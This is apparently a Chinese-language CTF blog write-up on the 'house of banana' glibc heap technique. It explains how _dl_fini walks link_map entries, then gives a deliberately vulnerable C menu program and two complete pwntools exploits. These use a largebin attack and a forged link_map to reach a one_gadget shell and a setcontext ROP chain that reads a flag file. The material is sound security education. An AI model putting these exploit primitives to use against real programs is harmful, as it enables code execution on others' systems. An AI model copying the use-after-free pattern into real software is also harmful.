0x00

前脚算是梳理了一下exit的攻击点,想到house of banana是攻击rtld_global结构体,正是对前面梳理的exit攻击点的利用,于是也就记录一下

0x01 house of banana 原理

详细见关于exit的利用以及一个程序的开始到结束 | r3t2’s blog中关于_rtld_global结构体攻击点的叙述

1
_rtld_global -> _ns_loaded -> link_map -> ((fini_t) array[i]) ()

house of banana的攻击思路大概就是向_rtld_global结构体中的_ns_loaded写入一个堆地址,在堆中伪造出一个link_map结点。有哪些检查呢?把_dl_fini中的检查翻出来(glibc2.35)先是

1
assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);

这保证了:如果nloaded == 0,则_ns_loaded == NULL;如果_ns_loaded != NULL,则nloaded != 0,就是link_map链表头和链表节点数量的状态的一致性检查,同时发现nloaded不为0以及_ns_loaded为NULL是能通过的,大概因为_ns_loaded都为NULL了,nloaded也没啥意义了。我们总结这不需要我们特地去绕过
接着是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
/* Do not handle ld.so in secondary namespaces. */
if (l == l->l_real)
{
assert (i < nloaded);

maps[i] = l;
l->l_idx = i;
++i;

/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);

总结一下,要求l == l->real,其他在我们的攻击中不会设计,同时在_dl_close中我们发现

1
2
3
4
5
6
7
8
9
10
int idx = 0;
for (struct link_map *l = ns->_ns_loaded; l != NULL; l = l->l_next)
{
l->l_map_used = 0;
l->l_map_done = 0;
l->l_idx = idx;
maps[idx] = l;
++idx;
}
assert (idx == nloaded);

这要求link_map实际结点数必须匹配nloaded,所以我们nloaded最好不修改,且为了方便绕过这个检查,我们直接在link_map链表的第三个结点的l_next写入堆地址来伪造成第四个结点,又或者是我们伪造第一个结点后,将l_next设置为正常情况下的第二个结点,我们这里分析后者(接下来的调试都是glibc2.35下)

1
2
3
4
5
6
7
8
9
10
11
pwndbg> p &_rtld_global
$1 = (struct rtld_global *) 0x7ffff7ffd040 <_rtld_global>
pwndbg> tele 0x7ffff7ffd040
00:0000│ r15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
01:0008│ 0x7ffff7ffd048 (_rtld_global+8) ◂— 4
02:0010│ 0x7ffff7ffd050 (_rtld_global+16) —▸ 0x7ffff7ffe5a0 —▸ 0x7ffff7fbb690 —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— ...
03:0018│ 0x7ffff7ffd058 (_rtld_global+24) ◂— 0
04:0020│ 0x7ffff7ffd060 (_rtld_global+32) —▸ 0x7ffff7fbb160 —▸ 0x7ffff7c00000 ◂— 0x3010102464c457f
05:0028│ 0x7ffff7ffd068 (_rtld_global+40) ◂— 0
06:0030│ 0x7ffff7ffd070 (_rtld_global+48) ◂— 0
07:0038│ 0x7ffff7ffd078 (_rtld_global+56) ◂— 1

这样查看地址后计算偏移即可,看需要伪造的l_next偏移

1
2
pwndbg> distance  (_rtld_global._dl_ns[0]._ns_loaded)  &((_rtld_global._dl_ns[0]._ns_loaded)->l_next)
0x7ffff7ffe2e0->0x7ffff7ffe2f8 is 0x18 bytes (0x3 words)

0x18,需要填入第二个结点的地址
我们看l_real的偏移

1
2
pwndbg> distance  (_rtld_global._dl_ns[0]._ns_loaded)  &((_rtld_global._dl_ns[0]._ns_loaded)->l_real)
0x7ffff7ffe2e0->0x7ffff7ffe308 is 0x28 bytes (0x5 words)

0x28,需要填入我们伪造的堆地址
然后是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i];

if (l->l_init_called)
{
/* Make sure nothing happens if we are called twice. */
l->l_init_called = 0;

/* Is there a destructor function? */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
{
/* When debugging print a message first. */
if (__builtin_expect (GLRO(dl_debug_mask)
& DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
DSO_FILENAME (l->l_name),
ns);

/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}

/* Next try the old-style destructor. */
if (ELF_INITFINI && l->l_info[DT_FINI] != NULL)
DL_CALL_DT_FINI
(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
}

#ifdef SHARED
/* Auditing checkpoint: another object closed. */
_dl_audit_objclose (l);
#endif
}

/* Correct the previous increment. */
--l->l_direct_opencount;
}

这一段我们抽出检查部分

1
2
3
4
if (l->l_init_called)
if (l->l_info[DT_FINI_ARRAY] != NULL
|| (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
if (l->l_info[DT_FINI_ARRAY] != NULL)

最先是l_init_called的检查,找到其类型

1
unsigned int l_init_called:1; /* Nonzero if DT_INIT function called.  */

在结构体里,可以用 冒号 : 指定某个成员只占用若干 bit,这个l_init_called类型为unsigned int,但是只占1bit
理论上设置为1即可,稳妥起见我们看一下完整位域

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
unsigned int l_relocated:1;	/* Nonzero if object's relocations done.  */
unsigned int l_init_called:1; /* Nonzero if DT_INIT function called. */
unsigned int l_global:1; /* Nonzero if object in _dl_global_scope. */
unsigned int l_reserved:2; /* Reserved for internal use. */
unsigned int l_main_map:1; /* Nonzero for the map of the main program. */
unsigned int l_visited:1; /* Used internally for map dependency
graph traversal. */
unsigned int l_map_used:1; /* These two bits are used during traversal */
unsigned int l_map_done:1; /* of maps in _dl_close_worker. */
unsigned int l_phdr_allocated:1; /* Nonzero if the data structure pointed
to by `l_phdr' is allocated. */
unsigned int l_soname_added:1; /* Nonzero if the SONAME is for sure in
the l_libname list. */
unsigned int l_faked:1; /* Nonzero if this is a faked descriptor
without associated file. */
unsigned int l_need_tls_init:1; /* Nonzero if GL(dl_init_static_tls)
should be called on this link map
when relocation finishes. */
unsigned int l_auditing:1; /* Nonzero if the DSO is used in auditing. */
unsigned int l_audit_any_plt:1; /* Nonzero if at least one audit module
is interested in the PLT interception.*/
unsigned int l_removed:1; /* Nozero if the object cannot be used anymore
since it is removed. */
unsigned int l_contiguous:1; /* Nonzero if inter-segment holes are
mprotected or if no holes are present at
all. */
unsigned int l_symbolic_in_local_scope:1; /* Nonzero if l_local_scope
during LD_TRACE_PRELINKING=1
contains any DT_SYMBOLIC
libraries. */
unsigned int l_free_initfini:1; /* Nonzero if l_initfini can be
freed, ie. not allocated with
the dummy malloc in ld.so. */
unsigned int l_ld_readonly:1; /* Nonzero if dynamic section is readonly. */
unsigned int l_find_object_processed:1; /* Zero if _dl_find_object_update
needs to process this
lt_library map. */

这里l_init_called和他附近的unsigned int成员共用四字节,我们无法单独设置其为1,最多单独设置一字节为1

1
2
3
4
pwndbg> distance _rtld_global._dl_ns[0]._ns_loaded  &(_rtld_global._dl_ns[0]._ns_loaded)->l_init_called
0x7ffff7ffe2e0->0x7ffff7ffe5fc is 0x31c bytes (0x63 words)
pwndbg> p (_rtld_global._dl_ns[0]._ns_loaded)->l_init_called
$4 = 1

偏移0x31c,值为1,这个偏移是l_init_called所处的unsigned int的偏移,那么在偏移0x31c处设置p8(0x8)即可
需要注意的是,这个偏移不同版本可能不一致
接着就是我们伪造l_info时候的检查了,此前已经分析过,DT_FINI_ARRAY的值为26,DT_FINI_ARRAYSZ为28,我们修改伪造的link_map结点中的l_info[0x1a]addrA, 修改l_info[0x1c]addrB,然后布置

1
2
addrA: flat(0x1a, addrC)
addrB: flat(0x1c, N)

也就伪造好了fini_arrayaddrC写入需要执行的函数(我们设置l_addr0),而这里的N就写需要执行的函数数*8即可。我们看一下偏移方便伪造

1
2
3
4
5
6
pwndbg> distance  (_rtld_global._dl_ns[0]._ns_loaded)  &((_rtld_global._dl_ns[0]._ns_loaded)->l_info[26])
0x7ffff7ffe2e0->0x7ffff7ffe3f0 is 0x110 bytes (0x22 words)
pwndbg> distance (_rtld_global._dl_ns[0]._ns_loaded) &((_rtld_global._dl_ns[0]._ns_loaded)->l_info[28])
0x7ffff7ffe2e0->0x7ffff7ffe400 is 0x120 bytes (0x24 words)
pwndbg> distance (_rtld_global._dl_ns[0]._ns_loaded) &((_rtld_global._dl_ns[0]._ns_loaded)->l_addr)
0x7ffff7ffe2e0->0x7ffff7ffe2e0 is 0x0 bytes (0x0 words)

l_info[26]l_info[28]分别是0x1100x120,而l_addr在最开头处。
最后总结一下绕过的攻击手法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
向 &_rtld_global写入堆地址chunk_addr
|
设置l_addr == 0; 即 chunk_addr 写入0 (一般不用管都是0,因为是chunk的pre_size字段)
|
恢复l_next为正常情况下的值; 即 chunk_addr+0x18 写入link_map链表第二个结点地址
|
设置l == l_real; 即 chunk_addr+0x28 写入chunk_addr
|
伪造l_info[26]; 即 chunk_addr+0x110 写入chunk_addr+0x40,然后 chunk_addr+0x40 写入0x1a,chunk_addr+0x48 写入chunk_addr+0x58,最后在 chunk_addr+0x58 写入ogg
|
伪造l_info[28]; 即 chunk_addr+0x120 写入chunk_addr+0x60, 然后 chunk_addr+0x60 写入0x1c,chunk_addr+0x68 写入
0x8
|
设置l_init_called; 即 chunk_addr+0x31c 写入1

最后布局如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
chunk_addr

├── [0x000] l_addr = 0 # prev_size域 (可忽略,一般就是0)

├── [0x018] l_next = &link_map[2] (示意,第二个结点地址)
|
├── [0x028] l_real = chunk_addr

├── [0x040] l_info[26] entry
│ ├── [0x040] tag = 0x1a (DT_FINI_ARRAY)
│ ├── [0x048] val = chunk_addr+0x58

├── [0x058] ogg (函数地址)

├── [0x060] l_info[28] entry
│ ├── [0x060] tag = 0x1c (DT_FINI_ARRAYSZ)
│ ├── [0x068] val = 0x8 (size)

├── [0x110] l_info[26] 指针 = chunk_addr+0x40
├── [0x120] l_info[28] 指针 = chunk_addr+0x60

└── [0x31c] l_init_called = 1

有时候远程的 _rtld_global 的偏移与本地不一样,可能会在地址的第2字节处发生变化,因此可以爆破256种可能得到远程环境的精确偏移
我们这里其实劫持了fini_array,其实不仅仅可以执行一个函数,而是可以call多次,可以结合setcontextROP来进行orw

0x02 动手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
//gcc test.c -o test -w -g
//ubuntu 18.04 GLIBC 2.27-3ubuntu1.6
#include<stdio.h>
#include <unistd.h>
#define num 10
void *chunk_list[num];
int chunk_size[num];

void init()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}

void menu()
{
puts("1.add");
puts("2.show");
puts("3.edit");
puts("4.delete");
puts("5.exit");
puts("Your choice:");
}


int add()
{
int index,size;
puts("index:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);
puts("Size:");
scanf("%d",&size);
if(size<0x80||size>0x500)
exit(1);
chunk_list[index] = calloc(size,1);
chunk_size[index] = size;
}

int edit()
{
int index;
puts("index:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);
puts("context: ");
read(0,chunk_list[index],chunk_size[index]);
}

int delete()
{
int index;
puts("index:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);

free(chunk_list[index]);
}

int show()
{
int index;
puts("index:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);

puts("context: ");
puts(chunk_list[index]);
}


int main()
{
int choice;
init();
while(1){
menu();
scanf("%d",&choice);
if(choice==5){
exit(0);
}
else if(choice==1){
add();
}
else if(choice==2){
show();
}
else if(choice==3){
edit();
}
else if(choice==4){
delete();
}
}
}

根据这个编译为glibc2.27largebin attackhouse of banana

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/libc6_2.27-3ubuntu1.6_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 1337
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b main
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/libc6-dbg_2.27-3ubuntu1.6_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/glibc-source_2.27-3ubuntu1.6_all/usr/src/glibc/glibc-2.27
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


def add(index,size):
io.sendlineafter('Your choice:\n', str(1))
io.sendlineafter('index:\n', str(index))
io.sendlineafter("Size:\n", str(size))

def show(index):
io.sendlineafter('Your choice:\n', str(2))
io.sendlineafter('index:\n', str(index))

def edit(index, content):
io.sendlineafter('Your choice:\n', str(3))
io.sendlineafter('index:\n', str(index))
io.sendafter("context: \n",content)

def free(index):
io.sendlineafter('Your choice:\n', str(4))
io.sendlineafter('index:\n', str(index))


def pwn():
add(0, 0x428)
add(1, 0x500)
add(2, 0x418)
free(0)
add(3, 0x500)
show(0)
io.recvuntil('context: \n')
libc_base = u64(io.recv(6).ljust(8 , b'\x00')) - 0x3ec090

edit(0, b'a'*0x10)
show(0)
io.recvuntil(b'a'*0x10)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x250

log.info("libc_base --> "+hex(libc_base))
log.info("heap_base --> "+hex(heap_base))

rtld_global = libc_base + 0x62a060
#link_map3 = libc_base + 0x7f7018
one_gadget = libc_base + 0x4f302


free(2)
edit(0, p64(libc_base+0x3ec090)*2 + p64(heap_base+0x250) + p64(rtld_global-0x20))
add(4, 0x500)

chunk_addr = heap_base + 0xb90
log.info("chunk_addr --> "+hex(chunk_addr))
link_map = p64(0)
link_map = link_map.ljust(0x18 - 0x10, b'\x00') + p64(libc_base + 0x62b710)
link_map = link_map.ljust(0x28 - 0x10, b'\x00') + p64(chunk_addr)
link_map = link_map.ljust(0x40 - 0x10, b'\x00') + p64(0x1a) + p64(chunk_addr + 0x58)
link_map = link_map.ljust(0x58 - 0x10, b'\x00') + p64(one_gadget)
link_map = link_map.ljust(0x60 - 0x10, b'\x00') + p64(0x1c) + p64(0x8)
link_map = link_map.ljust(0x110 - 0x10, b'\x00') + p64(chunk_addr + 0x40)
link_map = link_map.ljust(0x120 - 0x10, b'\x00') + p64(chunk_addr + 0x60)
link_map = link_map.ljust(0x314 - 0x10, b'\x00') + p8(0x8) #此版本l_init_called所处的unsignd int空间的偏移为0x314

edit(2, link_map)
io.sendlineafter('Your choice:\n', str(5))
io.interactive()

io = start()
pwn()

最后成功getshell

1
2
3
4
5
6
7
8
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
b'whoami\n'
[DEBUG] Received 0x5 bytes:
b'r3t2\n'
r3t2
$

这里因为是打本地,所以似乎没有爆破的需要。然后在高版本还可以打一个orw,利用 setcontext
编译为glibc2.31orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.18/amd64/libc6_2.31-0ubuntu9.18_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 1337
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b main
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.18/amd64/libc6-dbg_2.31-0ubuntu9.18_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.18/amd64/glibc-source_2.31-0ubuntu9.18_all/usr/src/glibc/glibc-2.31
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


def add(index,size):
io.sendlineafter('Your choice:\n', str(1))
io.sendlineafter('index:\n', str(index))
io.sendlineafter("Size:\n", str(size))

def show(index):
io.sendlineafter('Your choice:\n', str(2))
io.sendlineafter('index:\n', str(index))

def edit(index, content):
io.sendlineafter('Your choice:\n', str(3))
io.sendlineafter('index:\n', str(index))
io.sendafter("context: \n",content)

def free(index):
io.sendlineafter('Your choice:\n', str(4))
io.sendlineafter('index:\n', str(index))


def pwn() :
add(0, 0x428)
add(1, 0x500)
add(2, 0x418)
free(0)
show(0)
io.recvuntil('context: \n')
libc_base = u64(io.recv(6).ljust(8 , b'\x00')) - 96 - 0x1ecb80

add(3, 0x500)
edit(0, b'a'*0x10)
show(0)
io.recvuntil(b'a'*0x10)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x290

log.info("libc_base --> "+hex(libc_base))
log.info("heap_base --> "+hex(heap_base))

rtld_global = libc_base + 0x228060 # 0x222060则不需要爆破,同时l_next修改为0x223740

#link_map3 = libc_base + 0x7f7018
#one_gadget = libc_base + 0x4f302

open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
pop_rdi_ret = libc_base + 0x23b6a
pop_rsi_ret = libc_base + 0x2601f
pop_rdx_r12_ret = libc_base + 0x119431
setcontext = libc_base + libc.sym['setcontext']
ret = libc_base + 0x22679

free(2)
edit(0, b'a'*0x18 + p64(rtld_global-0x20))
add(4, 0x500)

chunk_addr = heap_base + 0xb90+0x40
log.info("chunk_addr --> "+hex(chunk_addr))
link_map = p64(0)
link_map = link_map.ljust(0x18 - 0x10, b'\x00') + p64(libc_base + 0x229740) # l_next
link_map = link_map.ljust(0x28 - 0x10, b'\x00') + p64(chunk_addr) # l_real
link_map = link_map.ljust(0x40 - 0x10, b'\x00') + p64(0x1a) + p64(chunk_addr + 0x1f8)
link_map = link_map.ljust(0x60 - 0x10, b'\x00') + p64(0x1c) + p64(0x10)
link_map = link_map.ljust(0x110 - 0x10, b'\x00') + p64(chunk_addr + 0x40) # l_info[26]
link_map = link_map.ljust(0x120 - 0x10, b'\x00') + p64(chunk_addr + 0x60) # l_info[28]
link_map = link_map.ljust(0x1f8 - 0x10, b'\x00') + p64(setcontext+61) + p64(ret) #这里的ret所被布置地址会被赋给rdx,也就是chunk_addr + 0x200
link_map = link_map.ljust(0x200 - 0x10 + 0x68, b'\x00') + p64(chunk_addr + 0x330) #rdi
link_map = link_map.ljust(0x200 - 0x10 + 0x70, b'\x00') + p64(0) #rsi
link_map = link_map.ljust(0x200 - 0x10 + 0xa0, b'\x00') + p64(chunk_addr + 0x350) #rsp
link_map = link_map.ljust(0x200 - 0x10 + 0xa8, b'\x00') + p64(open) #rcx
link_map = link_map.ljust(0x31c - 0x10, b'\x00') + p8(0x8) # l_init_called
link_map = link_map.ljust(0x330 - 0x10, b'\x00') + b'flag\x00\x00\x00\x00'

ropchain = p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + \
p64(chunk_addr + 0x450) + p64(pop_rdx_r12_ret) + \
p64(0x30) + p64(0) + p64(read) + p64(pop_rdi_ret) + \
p64(1) + p64(pop_rsi_ret) + p64(chunk_addr + 0x450) + \
p64(pop_rdx_r12_ret) + p64(0x30) + p64(0) + p64(write)

link_map = link_map.ljust(0x350 - 0x10, b'\x00') + ropchain

edit(2, link_map)

while True:
try:
io = start()
pwn()
io.sendlineafter('Your choice:\n', str(5).encode())
io.interactive()
break
except:
io.close()
continue